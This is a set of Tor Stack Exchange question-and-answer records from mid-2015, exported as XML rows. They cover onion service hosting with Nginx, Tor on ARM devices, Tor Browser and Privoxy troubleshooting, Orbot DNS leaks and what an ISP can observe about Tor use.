  <row Id="7306" PostTypeId="1" AcceptedAnswerId="7307" CreationDate="2015-07-24T15:57:19.373" Score="1" ViewCount="168" Body="&lt;p&gt;Is it possible to create more than one .onion site on one computer? I know that it involves using my server so it would be weird if I could but if I can could you please tell me how or lead me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7943" LastActivityDate="2015-07-24T17:24:50.090" Title="Can I have more than one .onion site?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-24T23:11:29.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="7307" PostTypeId="2" ParentId="7306" CreationDate="2015-07-24T17:24:50.090" Score="2" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;page on configuring hidden services&lt;/a&gt;, specifically &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en#three&quot; rel=&quot;nofollow noreferrer&quot;&gt;step three&lt;/a&gt;, which deals with more advanced options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run lots of hidden services on a single box, this thread might be of interest: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1337/how-many-hidden-services-can-i-run-on-a-single-tor-instance&quot;&gt;How many hidden services can I run on a single Tor instance?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-24T17:24:50.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7308" PostTypeId="1" AcceptedAnswerId="9095" CreationDate="2015-07-24T19:32:35.347" Score="0" ViewCount="602" Body="&lt;p&gt;I'd like to create a page on my Wordpress site which features something like a frame where visitors to my site can browse the web through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about constructing such a feature? I don't see any plugins doing this specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user7945" LastActivityDate="2022-10-21T19:30:52.497" Title="How can I provide Tor browsing through my Wordpress site?" Tags="|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostTypeId="2" ParentId="7308" CreationDate="2015-07-24T23:08:31.103" Score="1" Body="&lt;p&gt;That's not really how Tor works. Even if this were feasible, your visitors would have no way to know if you're tracking their browsing, which would pretty much defeat the purpose of anonymous browsing.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-07-24T23:08:31.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7310" PostTypeId="1" CreationDate="2015-07-24T23:31:25.863" Score="4" ViewCount="187" Body="&lt;p&gt;As I understood, when a client connects through Tor he connects to the central Tor servers, picks up three (or more) public keys, connects to the first, makes a chain to the second and makes a chain to the third. This is the only way to prevent a Tor entry node from being an entry node, middle node and exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what happens if a certain three letter agency gets access to the Tor server? If they want to spy on a particular person (who's IP is known), the Tor directory server (now under their control) just sends them three public keys of servers  anonymously under control of a three letter agency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now they know everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, even self compiling (after analyzing source code) won't help, as the hack is on the server + a three letter agency can enforce gag-orders.&lt;/p&gt;&#xA;" OwnerUserId="7948" LastActivityDate="2016-03-10T22:23:28.363" Title="How does Tor guarantee server integrity?" Tags="|security|directory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostTypeId="1" CreationDate="2015-07-25T04:41:38.460" Score="1" ViewCount="91" Body="&lt;p&gt;Is there any way to prove ownership of a hidden service without revealing it's private key? Maybe signing a message with the key? Also take into account that the service is not hosting anything that serves up data in the normal sense. So I can't just simply put something on my homepage.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2015-07-27T14:44:52.317" Title="Prove ownership of a hidden service?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostTypeId="1" AcceptedAnswerId="7323" CreationDate="2015-07-25T12:43:10.787" Score="1" ViewCount="1763" Body="&lt;p&gt;I would like to know if its possible to use the Tor router in a headless (no GUI, only SSH access) server, in order to provide a simple access point to the Onion network, and Internet in general to services running within the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, would it be possible to run Tor in the ARM architecture, like Raspberry Pi, Banana Pi, Beaglebone and so on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7953" LastEditorUserId="7953" LastEditDate="2015-07-25T14:28:18.300" LastActivityDate="2015-08-26T10:22:45.703" Title="Possible to run Tor router in headless ARM server" Tags="|linux|server|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostTypeId="1" CreationDate="2015-07-25T13:47:44.817" Score="0" ViewCount="2461" Body="&lt;p&gt;Everytime I try to access any Tor website with .onion, this message appears&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unable to connect&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Firefox can't establish a connection to the server at aaaaaaaaaa.onion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unable to load any pages, check your computer's network connection.&#xA;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&#xA;I'm using Tor as browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I go to this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says it is configured to use Tor&lt;/p&gt;&#xA;" OwnerUserId="7954" LastEditorUserId="7549" LastEditDate="2015-07-26T16:02:01.157" LastActivityDate="2015-07-26T16:02:01.157" Title="I can't access any Tor links" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-27T19:17:47.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="7318" PostTypeId="1" AcceptedAnswerId="7545" CreationDate="2015-07-26T02:19:52.860" Score="4" ViewCount="21098" Body="&lt;p&gt;The last two versions of Tor Browser that I have tried on Mac OS are still OK for the admin account but when I try to launch in my normal user account, I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor Browser does not have permission to access the profile.&#xA;Please adjust your file system permissions and try again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thinking it could be related to my adding a line to torrc, I chmod that to 777 but it didn't help.  I ran fs_usage(1) to try to figure out what files it was hitting, but there are zillions of output lines per millisecond.  I did see that it was hitting files in ..../TorBrowser.app/TorBrowser/Data/Browser/profile* so I changed the group on all of those.  Still doesn't work (and none of the files I just changed group on have ever been touched by me before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that the Tor Browser is derived from FireFox, I deleted the app completely, along with a file elsewhere that had &quot;torproject&quot; as part of its filename, and deleted my entire ~/Library/Application Support/Firefox directory (which contains the FireFox profile).  Installed a freshly downloaded copy of the Tor Browser and tried again.  Same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm puzzled....&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="13768" LastEditDate="2016-07-29T18:47:45.897" LastActivityDate="2016-07-29T18:47:45.897" Title="Where is &quot;the profile&quot;?" Tags="|configuration|mac|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7319" PostTypeId="1" CreationDate="2015-07-26T02:25:32.080" Score="5" ViewCount="447" Body="&lt;p&gt;During launch, Tor Browser opens &lt;code&gt;/usr/share/zoneinfo/(continent)/(city)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  How can I hide that info?&lt;/p&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="8197" LastEditDate="2015-09-09T21:18:46.143" LastActivityDate="2017-08-14T13:43:57.110" Title="Why does Tor Browser open my timezone file?" Tags="|configuration|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7320" PostTypeId="1" CreationDate="2015-07-26T09:46:41.767" Score="1" ViewCount="63" Body="&lt;p&gt;I was wondering if there is any way for Tor to detect high network usage in the context of transferring large files using a hidden service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what are the default prevention steps?&lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2015-07-26T09:46:41.767" Title="Can high network usage be detected and prevented in Tor?" Tags="|onion-services|linux|censorship|deanonymization|debian|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostTypeId="2" ParentId="7314" CreationDate="2015-07-26T11:24:28.570" Score="0" Body="&lt;p&gt;Well the Browser already told you what possible happened.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The site is too busy &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most tor-websites are not connected with a high bandwidth - so this can be possible on a hyped website or on a frequently accessed one. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Site could be temporarily unavailable&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most of the Tor-Sites are not 100% up - they are often only 20% of the time online.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If other (non .onion) Sites work - Tor-Network is fully functional and the .onion site you connect to is offline. &lt;/p&gt;&#xA;" OwnerUserId="7549" LastActivityDate="2015-07-26T11:24:28.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostTypeId="2" ParentId="7313" CreationDate="2015-07-27T06:48:01.820" Score="1" Body="&lt;p&gt;for sure is it possible to run Tor headless also on an ARM server! (although i'm not sure if every ARM platform has precompiled packages...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example here is a very detailed guide for the Raspberry Pi:&lt;br&gt;&#xA;&lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;https://learn.adafruit.com/onion-pi/overview&lt;/a&gt;&lt;br&gt;&#xA;or a script collection to made installing/handling easier:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/spiegelonline/sponionpi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spiegelonline/sponionpi&lt;/a&gt; (partly german)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or there are also dedicated devices like the &lt;a href=&quot;https://www.invizbox.io/&quot; rel=&quot;nofollow&quot;&gt;InvizBox&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2015-07-27T07:24:21.557" LastActivityDate="2015-07-27T07:24:21.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7324" PostTypeId="2" ParentId="7313" CreationDate="2015-07-27T10:08:24.050" Score="-1" Body="&lt;p&gt;It is possible to run Tor on such box, but I wouldn't recommend it, as it's impossible to configure full disk encryption on it (unless you have another box with compatible CPU and video output, even virtual).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you use Tor for &lt;strong&gt;really sensitive activities&lt;/strong&gt;, then you really need to encrypt all disks to avoid sharing the fate of Ross Ulbricht.&lt;/p&gt;&#xA;" OwnerUserId="7841" LastActivityDate="2015-07-27T10:08:24.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7326" PostTypeId="2" ParentId="7311" CreationDate="2015-07-27T14:44:52.317" Score="2" Body="&lt;p&gt;I can't find anything that would indicate this has been asked before, or whether a solution has been implemented. (Or, indeed, if there's an easier way than the idea presented below.) Other members of the group may know otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a high level, you probably have one of two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sign something with your services's private key and let users decrypt it with the services's public key. (i.e. Your message-signing idea).&lt;/li&gt;&#xA;&lt;li&gt;Let users encrypt something with the services's public key, then have the service decrypt it and present the result back to them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A hidden service's &lt;em&gt;public&lt;/em&gt; key &lt;em&gt;is&lt;/em&gt; available. You have to do a bit of work to get it - as explained in the below thread - but it's there. (The onus would, however, be on the user to obtain the key. Without some sort of service doing the heavy lifting of finding it, this might be more hassle than it's worth for the average user.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/244/is-it-possible-to-look-up-the-public-key-for-a-onion-address&quot;&gt;Is it possible to look up the public key for a .onion-address?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(With regards to the first option, it should be noted that RSA &lt;em&gt;does&lt;/em&gt; support &lt;a href=&quot;https://security.stackexchange.com/questions/9957/can-i-use-a-private-key-as-a-public-key-and-vice-versa&quot;&gt;encryption with the private key&lt;/a&gt;, rather than just the decryption you're used to thinking of.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, your site is only as &quot;genuine&quot; as the security of your private key, and should the key fall into the wrong hands, a bad guy could &quot;prove ownership&quot; of your site.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-27T14:44:52.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostTypeId="2" ParentId="1647" CreationDate="2015-07-27T16:34:16.213" Score="2" Body="&lt;p&gt;NTRU for Tor is still being plugged:&#xA;&lt;a href=&quot;http://csrc.nist.gov/groups/ST/post-quantum-2015/papers/session3-zhang-paper.pdf&quot; rel=&quot;nofollow&quot;&gt;http://csrc.nist.gov/groups/ST/post-quantum-2015/papers/session3-zhang-paper.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NTRU does sound to be faster than some other quantum-safe algs. NTRU protects against Shor's algorithm but the standard parameter sizes for NTRU are not safe against Grover's algorithm on a quantum machine. For 128-bit parameters there's a 112 bit attack to recover keys and an 80 bit attack to recover plaintext (ie. sender's identity).&#xA;&lt;a href=&quot;https://www.authorea.com/users/34470/articles/39844&quot; rel=&quot;nofollow&quot;&gt;https://www.authorea.com/users/34470/articles/39844&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does need to be quantum-safe, what other quantum-safe algs might work for Tor?&lt;/p&gt;&#xA;" OwnerUserId="7965" LastActivityDate="2015-07-27T16:34:16.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostTypeId="1" AcceptedAnswerId="9375" CreationDate="2015-07-28T13:43:42.033" Score="5" ViewCount="344" Body="&lt;p&gt;As far as i understood the payload is encrypted in layers and each relay router decrypts its layer as the cell passes along its way to the exit router. Contained within this payload is also the relay header and the relay routers just replace the circuit id according to their tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how does the &quot;last&quot; node, the exit router know that it is the final destination of the cell? Is it because it has no entry in it's forwarding table for this circuit id?&lt;/p&gt;&#xA;" OwnerUserId="7972" LastEditorUserId="7972" LastEditDate="2015-07-30T10:06:13.560" LastActivityDate="2016-01-06T17:40:10.130" Title="How does a OR know that it is the cells final destination?" Tags="|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostTypeId="1" AcceptedAnswerId="7332" CreationDate="2015-07-28T19:17:31.950" Score="1" ViewCount="789" Body="&lt;p&gt;I know that to create more sites in Tor I add &lt;code&gt;HiddenServiceDir&lt;/code&gt; and &lt;code&gt;HiddenServicePort&lt;/code&gt; to my &lt;code&gt;etc/tor/torrc&lt;/code&gt; file but how do I edit it in my server to listen to all of them and do I need to create new &lt;code&gt;index.html&lt;/code&gt; files for the other sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Nginx on Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="7943" LastEditorUserId="5445" LastEditDate="2015-07-29T22:46:08.810" LastActivityDate="2015-07-29T22:46:08.810" Title="How do I host multiple hidden services in my server?" Tags="|onion-services|server|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostTypeId="2" ParentId="7331" CreationDate="2015-07-28T20:20:27.407" Score="3" Body="&lt;p&gt;You need to add a &lt;code&gt;server&lt;/code&gt; entry in your Nginx config file for each service. For example, with two hidden services your config file might look something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen   127.0.0.1:&amp;lt;port_hidden_service_1&amp;gt;;&#xA;&#xA;    root /path/to/hidden_service_1/;&#xA;    index_1 index_1.html index_1.htm;&#xA;&#xA;    server_name domain_1.onion;&#xA;}&#xA;&#xA;server {&#xA;    listen   127.0.0.1:&amp;lt;port_hidden_service_2&amp;gt;;&#xA;&#xA;    root /path/to/hidden_service_2/;&#xA;    index_2 index_2.html index_2.htm;&#xA;&#xA;    server_name domain_2.onion;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You might have some additional config fields in there, but you get the idea.&lt;/p&gt;&#xA;&lt;p&gt;For reference, see the Nginx &lt;a href=&quot;http://nginx.org/en/docs/http/server_names.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;server name&lt;/a&gt; config documentation.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-07-28T20:20:27.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7334" PostTypeId="1" CreationDate="2015-07-29T10:48:48.083" Score="3" ViewCount="258" Body="&lt;p&gt;I have Tor (bundle) browser and when I open this URL :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://ipecho.net/plain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;89.105.194.71&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set Privoxy in my Ubuntu to use Tor programmatically, but when I run my python code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_support = urllib2.ProxyHandler({&quot;http&quot; : &quot;127.0.0.1:8118&quot;})&#xA;opener = urllib2.build_opener(proxy_support) &#xA;opener.addheaders = [('User-agent', 'Mozilla/5.0')]&#xA;print opener.open('http://www.ipecho.net/plain').read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;171.25.193.235&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both IP addresses are exit nodes but why are the exit nodes different even they are using the same connection (I think)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran them many times simultaneously they gave me different IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Privoxy setting (I've change these, others are commented):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;forward-socks4a / 127.0.0.1:9150 .&#xA;listen-address  127.0.0.1:8118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The setting works fine with non-Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="7976" LastEditorUserId="5445" LastEditDate="2015-07-30T23:20:31.907" LastActivityDate="2016-03-10T21:56:57.540" Title="Why is browser exit node different from Privoxy exit node?" Tags="|tor-browser-bundle|python|privoxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7336" PostTypeId="1" CreationDate="2015-07-29T13:11:04.817" Score="3" ViewCount="2687" Body="&lt;p&gt;I tried to use Orbot on my Android phone in VPN mode (no extra settings added or anything). It turned out that it leaks DNS with Chrome browser (I checked it with dnsleak.com). Is it possible to fix this / is this normal?&lt;/p&gt;&#xA;" OwnerUserId="7980" LastActivityDate="2015-08-11T05:41:43.217" Title="Orbot DNS leak problem" Tags="|orbot|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostTypeId="1" CreationDate="2015-07-29T15:03:11.363" Score="2" ViewCount="1076" Body="&lt;p&gt;I use a Ubuntu linux and I recently installed Tor and created a few .onion sites. When I first did this, I was able to pull them up with localhost on my normal internet or open the Tor browser and go to my .onion site and see it there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding a few more .onion sites I was having some difficulty trying getting my Tor browser and localhost to work again. I know I had some trouble using &lt;code&gt;chown&lt;/code&gt; to redirect my access and the Debian-Tor access and am afraid I messed that up and that is causing my blockage to the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Tor check to see if I am connected and it said yes. If you know where to do the &lt;code&gt;chown&lt;/code&gt; to just give the right access to everyone or another trick to make sure I can use Tor again please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I need help figuring out why I cannot access my .onion sites. This is what my server looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 127.0.0.1:8080;&#xA;&#xA;    root /usr/share/nginx/www;&#xA;    index index.html index.htm;&#xA;&#xA;    server_name hostname;&#xA;&#xA;location / {&#xA;    allow 127.0.0.1;&#xA;    deny all;&#xA;}&#xA;&#xA;}&#xA;&#xA;server {&#xA;    listen 127.0.0.1:6667;&#xA;&#xA;    root /usr/share/nginx/www;&#xA;    index1 index1.html index1.htm;&#xA;&#xA;    server_name hostname;&#xA;&#xA;    location / {&#xA;            allow 127.0.0.1;&#xA;            deny all;&#xA;    }&#xA;&#xA;}&#xA;&#xA;server {&#xA;    listen 127.0.0.1:22;&#xA;&#xA;    root /usr/share/nginx/www;&#xA;    index2 index2.html index2.htm;&#xA;&#xA;    server_name hostname;&#xA;&#xA;    location / {&#xA;            allow 127.0.0.1;&#xA;            deny all;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7943" LastEditorUserId="5445" LastEditDate="2015-07-29T22:46:00.323" LastActivityDate="2015-07-29T22:46:00.323" Title="Why is my Tor browser not working?" Tags="|ubuntu|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7339" PostTypeId="1" CreationDate="2015-07-30T08:36:58.253" Score="3" ViewCount="3689" Body="&lt;p&gt;It is wellknown that an ISP can see when an end user is using Tor. What exactly can it infer by looking at the Tor traffic? Specifically&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can the ISP infer Tor bandwidth usage, i.e. actively downloading a file vs. an idle connection?&lt;/li&gt;&#xA;&lt;li&gt;Can the ISP distinguish between a Tor handshake (when launching Tor initially) vs. an existing session?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7984" LastActivityDate="2015-07-30T23:01:48.480" Title="What metadata does Tor leak to my ISP?" Tags="|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7340" PostTypeId="1" AcceptedAnswerId="7344" CreationDate="2015-07-30T18:18:34.070" Score="4" ViewCount="1362" Body="&lt;p&gt;I downloaded &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;TBB version 4.5.3 for GNU/Linux&lt;/a&gt; and extracted it on OpenBSD version 5.7 (current version which is basically a daily snapshot.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I unzipped TBB on the said OS and after I &lt;code&gt;cd&lt;/code&gt; to the directory where the contents of TBB had been extracted, I typed the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./tbb    -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and many error messages appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the &quot;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;Download Tor&lt;/a&gt;&quot; page claim that TBB is vaild for *BSD operating systems when it does not work on OpenBSD 5.7?&lt;/p&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="5445" LastEditDate="2015-07-30T23:20:58.873" LastActivityDate="2015-07-31T08:45:51.543" Title="Tor Browser Bundle does not work on OpenBSD" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7342" PostTypeId="2" ParentId="7339" CreationDate="2015-07-30T20:08:34.497" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Using Tor: Tor provides limited anonymity. The best-documented and best-tested attacks against Tor have one demanding requirement – that the attacker have access to the network infrastructure carrying the traffic.&lt;/p&gt;&#xA;&lt;p&gt;De-anonymising Tor traffic works even better if you're able to see traffic at both ends – where it enters a network, and where it leaves the network.&lt;/p&gt;&#xA;&lt;p&gt;While it's paranoid to think that any government would bother de-anonymising Tor on a mass scale, it's fair to say that if you, as an individual, end up being of interest to spooks, you can be identified – at least in theory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/zq6pzTkE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sources&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For reference, I don't have enough rep to post more than 2 links, so the pastebin file contains the references.&lt;/p&gt;&#xA;&lt;p&gt;The ISP can't see http/https requests or DNS queries. It can see that traffic is encrypted:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;The only thing the ISP can see is encrypted traffic heading to a tor server, so they can tell your using tor, but the data that is sent is totally encrypted, and they cant see it. also the exit node routes the encrypted website data back to you through the tor network, so the only node that your isp can see that you received data from is the entry node.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, because they know that you are using TOR, they could (and probably do) measure the amount of traffic going over. They already measure the amount of traffic, and (I assume) it would be trivial to add a filter for TOR connections and measure that bandwidth usage separately.&lt;/p&gt;&#xA;&lt;p&gt;Also, there are bad actors that can intercept traffic anyway: &lt;a href=&quot;http://pastebin.com/zq6pzTkE&quot; rel=&quot;nofollow noreferrer&quot;&gt;F-secure source&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And here's a statement from a person who has set up a virtual ISP:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Firstly, an ISP &amp;quot;owns&amp;quot; the connection for administrative purposes, so in simple terms &amp;quot;anything is possible&amp;quot;. That is - in the same way that you have control of your computer, the ISP has control over their network. They can do pretty much whatever they want with it because you connect through it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This being said, they can tell when you are actively doing something vs not doing anything, as the traffic going over the line, although encrypted, would increase. They can't tell what it is or what you are doing, just whether you are active.&lt;/p&gt;&#xA;&lt;p&gt;And TOR can be differentiated from other protocols.&lt;/p&gt;&#xA;&lt;p&gt;Unsettling, isn't it?&lt;/p&gt;&#xA;" OwnerUserId="7988" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-07-30T20:08:34.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostTypeId="2" ParentId="7339" CreationDate="2015-07-30T23:01:48.480" Score="2" Body="&lt;p&gt;Assuming you're using plain Tor (no bridges or other fancy stuff) your ISP will know the addresses of all Tor relays (They are public). Now the ISP watches your connections. It is able to specifically look at all connections which are going to Tor relays. This will enable the company to decide if you're sitting on an idle connection or doing something in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you launch Tor initially the client connects to publicly known directory authorities and downloads a list of all clients. So if your ISP sees those connections it can be sure that you opened your Tor client.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-30T23:01:48.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
